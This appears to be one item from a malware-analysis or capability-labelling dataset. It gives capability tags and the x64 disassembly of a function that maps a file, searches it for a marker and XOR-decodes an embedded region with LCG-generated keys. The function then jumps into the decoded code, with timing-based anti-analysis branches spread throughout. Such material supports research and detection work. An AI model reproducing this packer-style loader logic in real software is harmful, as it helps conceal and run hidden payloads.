Function at 0x402ce0
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Encode data using xor
Generate random numbers using the delphi lcg
Get file size
Read file via mapping
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x7e8]
sub rsp, 0x8e8
xor ecx, ecx
mov r14d, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x50], rcx
mov r13d, ecx
mov ebx, ecx
mov qword [rbp + 0x848], rcx
mov qword [rsp + 0x48], rcx
call fcn.004024d0
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x110]
call qword [0x00407058]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
and eax, 0x11
cmp eax, 0x111
je 0x402dcf
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x00407080], eax
mov eax, dword [rbp + 0x830]
mov dword [rbp + 0x830], eax
mov edi, dword [rbp + 0x830]
mov eax, dword [rbp + 0x830]
mov dword [rbp + 0x840], edi
xor edi, edi
mov dword [rbp + 0x838], eax
call fcn.00403c14
mov ecx, eax
mov eax, 0xaaaaaaab
sub ecx, dword [0x00407080]
mul ecx
shr edx, 1
lea eax, [rdx + rdx*2]
mov edx, ecx
sub edx, eax
test ecx, 0xffff8000
je 0x402ec2
test edx, edx
je 0x40364b
cmp edx, 1
je 0x402d82
mov r15d, dword [rbp + 0x838]
mov r12d, dword [rbp + 0x830]
mov rbx, qword [rbp + 0x848]
jmp 0x402df7
mov r12d, dword [rbp + 0x830]
mov dword [rbp + 0x830], r12d
mov r15d, dword [rbp + 0x830]
mov eax, dword [rbp + 0x830]
mov dword [rbp + 0x838], r15d
mov dword [rbp + 0x840], eax
mov esi, r12d
mov r9d, 4
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
call fcn.00403c14
mov ecx, eax
mov eax, 0xaaaaaaab
sub ecx, dword [0x00407080]
mul ecx
shr edx, 1
lea eax, [rdx + rdx*2]
mov edx, ecx
sub edx, eax
test ecx, 0xffff8000
je 0x402e4e
xor edi, edi
test edx, edx
je 0x403360
cmp edx, 1
je 0x402d82
jmp 0x402dfa
lea rcx, [rbp - 0x80]
mov dword [rbp - 0x78], r15d
mov qword [rbp - 0x80], rbx
mov dword [rbp - 0x68], r12d
mov qword [rbp - 0x70], rdi
call fcn.00403f50
mov ebx, eax
cmp eax, 1
jne 0x4036d5
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00403c14
mov ecx, eax
mov eax, 0xaaaaaaab
sub ecx, dword [0x00407080]
mul ecx
shr edx, 1
lea eax, [rdx + rdx*2]
mov edx, ecx
sub edx, eax
test ecx, 0xffff8000
je 0x4035ed
xor edi, edi
test edx, edx
je 0x403360
mov rbx, qword [rbp + 0x848]
jmp 0x402e43
lea rdx, [0x004013e0]
mov dword [0x004074a4], edi
mov word [0x00407090], di
call fcn.00402804
call fcn.00403c14
mov ecx, eax
mov eax, 0xaaaaaaab
sub ecx, dword [0x00407080]
mul ecx
shr edx, 1
lea eax, [rdx + rdx*2]
mov edx, ecx
sub edx, eax
test ecx, 0xffff8000
jne 0x402dab
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 0x60]
add rbx, 0xfe0
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, [0x00401470]
mov rcx, rax
call qword [0x00407010]
test rax, rax
setne r12b
test r12b, r12b
je 0x402f6a
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, [0x004012e8]
mov rcx, rax
call qword [0x00407010]
test rax, rax
je 0x402f6a
mov rcx, rbx
mov r15b, 1
call fcn.00403864
test al, al
je 0x4036ee
jmp 0x402f93
movabs rax, 0x74636a6e696d7678
mov r15b, dil
cmp qword [rbx], rax
je 0x402f93
mov rcx, rbx
call fcn.00403734
test eax, eax
je 0x4036ee
cmp eax, 2
cmove rbx, rdi
test rbx, rbx
je 0x40319b
movsxd rcx, dword [rbx + 0x18]
xor r9d, r9d
xor r8d, r8d
lea ebx, [r9 + 6]
mov qword [rsp + 0x20], rdi
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r14, rax
test rax, rax
je 0x403542
movsxd rcx, dword [rax + 0x1c]
xor r9d, r9d
xor r8d, r8d
mov edx, ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rbx, rax
mov qword [rsp + 0x68], rax
test rax, rax
je 0x403529
cmp dword [rax + 0x48], 0x3fc
jae 0x403515
mov r8d, dword [rax + 0x48]
mov edx, dword [rax + 0x4c]
lea rcx, [rbp - 0x18]
add r8, r8
add rdx, rax
call qword [0x00407040]
mov eax, dword [rbx + 0x48]
xor ecx, ecx
mov word [rbp + rax*2 - 0x18], di
mov eax, dword [r14 + 0x40]
mov esi, ecx
test eax, eax
je 0x403059
cmp dword [r14 + 0x44], ecx
je 0x403059
lea ebx, [rax + 1]
add rbx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor ecx, ecx
mov rdi, rax
test rax, rax
jne 0x403062
lea rdx, [0x00401508]
jmp 0x403634
test r15b, r15b
jne 0x403509
mov eax, dword [r14 + 0x50]
test eax, eax
je 0x4030a1
cmp dword [r14 + 0x54], ecx
je 0x4030a1
lea ebx, [rax + 1]
add rbx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r15d, r15d
mov rsi, rax
test rax, rax
jne 0x4030ad
lea rdx, [0x00401538]
jmp 0x403634
test r12b, r12b
jne 0x4034fd
xor r15d, r15d
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rbx, qword [rcx + 0x20]
test rdi, rdi
je 0x4030f0
mov r8d, dword [r14 + 0x40]
mov edx, dword [r14 + 0x44]
mov rcx, rdi
add r8, r8
add rdx, r14
call qword [0x00407040]
mov eax, dword [r14 + 0x40]
lea rcx, [rbx + 0x60]
mov rdx, rdi
mov word [rdi + rax*2], r15w
call qword [0x00407068]
xor edi, edi
test rsi, rsi
je 0x403180
mov r8d, dword [r14 + 0x50]
mov edx, dword [r14 + 0x54]
mov rcx, rsi
add r8, r8
add rdx, r14
call qword [0x00407040]
mov eax, dword [r14 + 0x50]
mov rdx, rsi
mov word [rsi + rax*2], di
lea rdi, [rbx + 0x70]
mov rcx, rdi
call qword [0x00407068]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rdx, rsi
mov rcx, rax
call qword [section..data]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rbx, rax
test rax, rax
je 0x40317e
xor edx, edx
lea rcx, [rsp + 0x70]
lea r8d, [rdx + 0x10]
call qword [0x00407038]
lea rcx, [rsp + 0x70]
mov r8b, 1
mov rdx, rdi
call qword [0x00407060]
test eax, eax
js 0x403194
mov rdx, qword [rsp + 0x78]
mov rcx, rbx
call qword [0x00407020]
xor edi, edi
cmp word [rbp - 0x18], 0x5c
jne 0x4031c4
cmp word [rbp - 0x16], 0x5c
jne 0x4031c4
lea rbx, [rbp - 0x18]
jmp 0x4031df
xor edi, edi
mov byte [rbx], dil
jmp 0x403180
lea rdx, [rbp - 0x18]
mov r8d, 0x3fc
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x4031b8
cmp eax, 0x3fc
jne 0x403180
lea rdx, [0x00401568]
jmp 0x403530
lea rdx, [0x004017c0]
lea rcx, [rbp - 0x20]
mov r8d, 8
call qword [0x00407040]
lea rbx, [rbp - 0x20]
call fcn.00403c14
mov r8d, eax
mov eax, 0xaaaaaaab
sub r8d, dword [0x00407080]
mul r8d
mov eax, r8d
shr edx, 1
lea ecx, [rdx + rdx*2]
sub eax, ecx
test r8d, 0xffff8000
je 0x403219
test eax, eax
je 0x40364b
cmp eax, 1
jmp 0x402db6
mov rdx, rbx
call fcn.00402804
lea rdx, [0x004013d4]
call fcn.00402804
xor r9d, r9d
mov qword [rsp + 0x30], rdi
lea r8d, [r9 + 7]
mov edx, 0x80000000
mov rcx, rbx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
mov qword [rsp + 0x60], rax
cmp rax, 0xffffffffffffffff
je 0x4035e1
call fcn.00403c3c
test eax, eax
jne 0x402d82
lea r8d, [rax + 2]
xor r9d, r9d
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov r15, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x4035d5
xor r9d, r9d
mov r13d, 0x1000
xor r8d, r8d
lea r12d, [r9 + 4]
mov rcx, rax
mov qword [rsp + 0x20], r13
mov edx, r12d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rdi, rax
test rax, rax
je 0x4035c9
mov rcx, rax
call fcn.004028f0
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
lea rdx, [rsp + 0x58]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
xor edi, edi
test eax, eax
je 0x4035bd
lea rcx, [rbx + r13]
cmp qword [rsp + 0x58], rcx
jle 0x403596
lea ecx, [rbx + 0x1000]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rcx
mov rcx, r15
mov edx, r12d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r13, rax
test rax, rax
je 0x40358d
call fcn.00403c14
mov r8d, eax
mov eax, 0xaaaaaaab
sub r8d, dword [0x00407080]
mul r8d
shr edx, 1
lea ecx, [rdx + rdx*2]
mov edx, r8d
sub edx, ecx
test r8d, 0xffff8000
je 0x403368
test edx, edx
jne 0x402db3
mov rsi, rdi
jmp 0x403650
mov rcx, r13
call fcn.004028f0
mov r8d, eax
add r8, r13
mov eax, dword [r8]
add r8, r12
cmp eax, 0x6d7678
jne 0x403581
mov eax, dword [r8]
add r8, r12
cmp eax, 3
jne 0x403575
mov edx, dword [r8]
add r8, r12
mov ecx, dword [r8]
mov ebx, edx
add r8, r12
imul ebx, ebx, 0x8088405
inc ebx
mov eax, ebx
xor eax, edx
cmp eax, ecx
jne 0x403569
mov ecx, ebx
imul ecx, ecx, 0x8088405
inc ecx
mov eax, ecx
xor eax, ebx
cmp eax, dword [r8]
jne 0x40355d
add r8, 8
imul ecx, ecx, 0x2b9ad7e7
mov r15d, 0x8088406
mov edi, dword [r8]
sub r15d, ecx
add r8, r12
mov r12d, dword [r8]
xor edi, r15d
add r8, 4
imul r15d, r15d, 0x8088405
inc r15d
mov rcx, r13
xor r12d, r15d
mov dword [rbp + 0x830], r12d
imul r15d, r15d, 0x8088405
inc r15d
xor r15d, dword [r8]
sub r8d, r13d
add r8d, 4
mov dword [rbp + 0x838], r15d
add edi, r8d
lea eax, [rdi + r15]
mov dword [rbp + 0x840], eax
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r13d, r13d
xor r9d, r9d
lea r8d, [r13 + 8]
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rcx, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x403554
mov eax, dword [rbp + 0x840]
lea edx, [r13 + 1]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r13, rax
test rax, rax
je 0x40354b
add rdi, rax
mov qword [rbp + 0x848], rdi
mov rcx, rdi
xor edi, edi
test r15d, r15d
je 0x4034cb
mov edx, r15d
imul ebx, ebx, 0x343fd
add ebx, 0x269ec3
mov eax, ebx
shr eax, 0x10
xor byte [rcx], al
inc rcx
dec rdx
jne 0x4034b0
lea rcx, [rbp - 0x80]
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], rdi
mov qword [rbp - 0x40], rdi
mov dword [rbp - 0x78], edi
mov qword [rbp - 0x80], rdi
call fcn.00403e30
mov ebx, eax
test eax, eax
je 0x402dc6
lea rdx, [0x004016b8]
jmp 0x4036dc
lea rdx, [0x00401550]
jmp 0x403634
lea rdx, [0x00401520]
jmp 0x403634
lea rdx, [0x004014f0]
call fcn.00402804
mov edx, dword [rbx + 0x48]
jmp 0x4036e3
lea rdx, [0x004014d8]
call fcn.00402804
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
jmp 0x4036e3
lea rdx, [0x004014c0]
jmp 0x403530
lea rdx, [0x004016a0]
jmp 0x403530
lea rdx, [0x00401688]
jmp 0x403530
lea rdx, [0x00401678]
jmp 0x403634
lea rdx, [0x00401668]
jmp 0x403634
lea rdx, [0x00401658]
jmp 0x403634
lea rdx, [0x00401648]
jmp 0x403634
lea rdx, [0x00401630]
jmp 0x403530
lea rdx, [0x00401618]
call fcn.00402804
mov edx, dword [rsp + 0x58]
mov r8d, 0xa
call fcn.00402760
lea rdx, [0x004013d4]
jmp 0x4036dc
lea rdx, [0x00401600]
jmp 0x403530
lea rdx, [0x004015e8]
jmp 0x403530
lea rdx, [0x004015d0]
jmp 0x403530
lea rdx, [0x00401580]
jmp 0x403530
mov rcx, rdi
call fcn.00402a10
mov edx, r12d
mov r8d, 0x8000
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edi, edi
test rbx, rbx
je 0x4036ee
mov rcx, rbx
call fcn.00403bd0
mov rcx, rbx
call fcn.00402948
mov rsi, rax
test rax, rax
jne 0x40363e
lea rdx, [0x004016e0]
call fcn.00402804
jmp 0x4036ee
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r15, rax
jmp 0x403653
mov rsi, qword [rsp + 0x48]
mov r15, rsi
mov qword [rsp + 0x28], rdi
xor r9d, r9d
mov dword [rsp + 0x20], edi
mov rdi, qword [rsp + 0x60]
lea r8d, [r9 + 2]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rbx, rax
test rax, rax
jne 0x403687
lea rdx, [0x004016f0]
jmp 0x403530
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, dword [rbp + 0x840]
mov rax, qword [rsp + 0x68]
mov r8, qword [rsp + 0x58]
add r9d, 0xffff
mov qword [rsp + 0x28], rax
and r9d, 0xffff0000
mov rdx, rbx
mov rcx, r15
mov qword [rsp + 0x20], r14
call rsi
add rsp, 0x8e8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
lea rdx, [0x004016c8]
call fcn.00402804
mov edx, ebx
mov r8d, 0xa
call fcn.00402760
lea rcx, [0x00401718]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [0x00401708]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [0x00401730]
lea rdx, [0x00407090]
mov r9d, 0x10
xor ecx, ecx
call rax
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]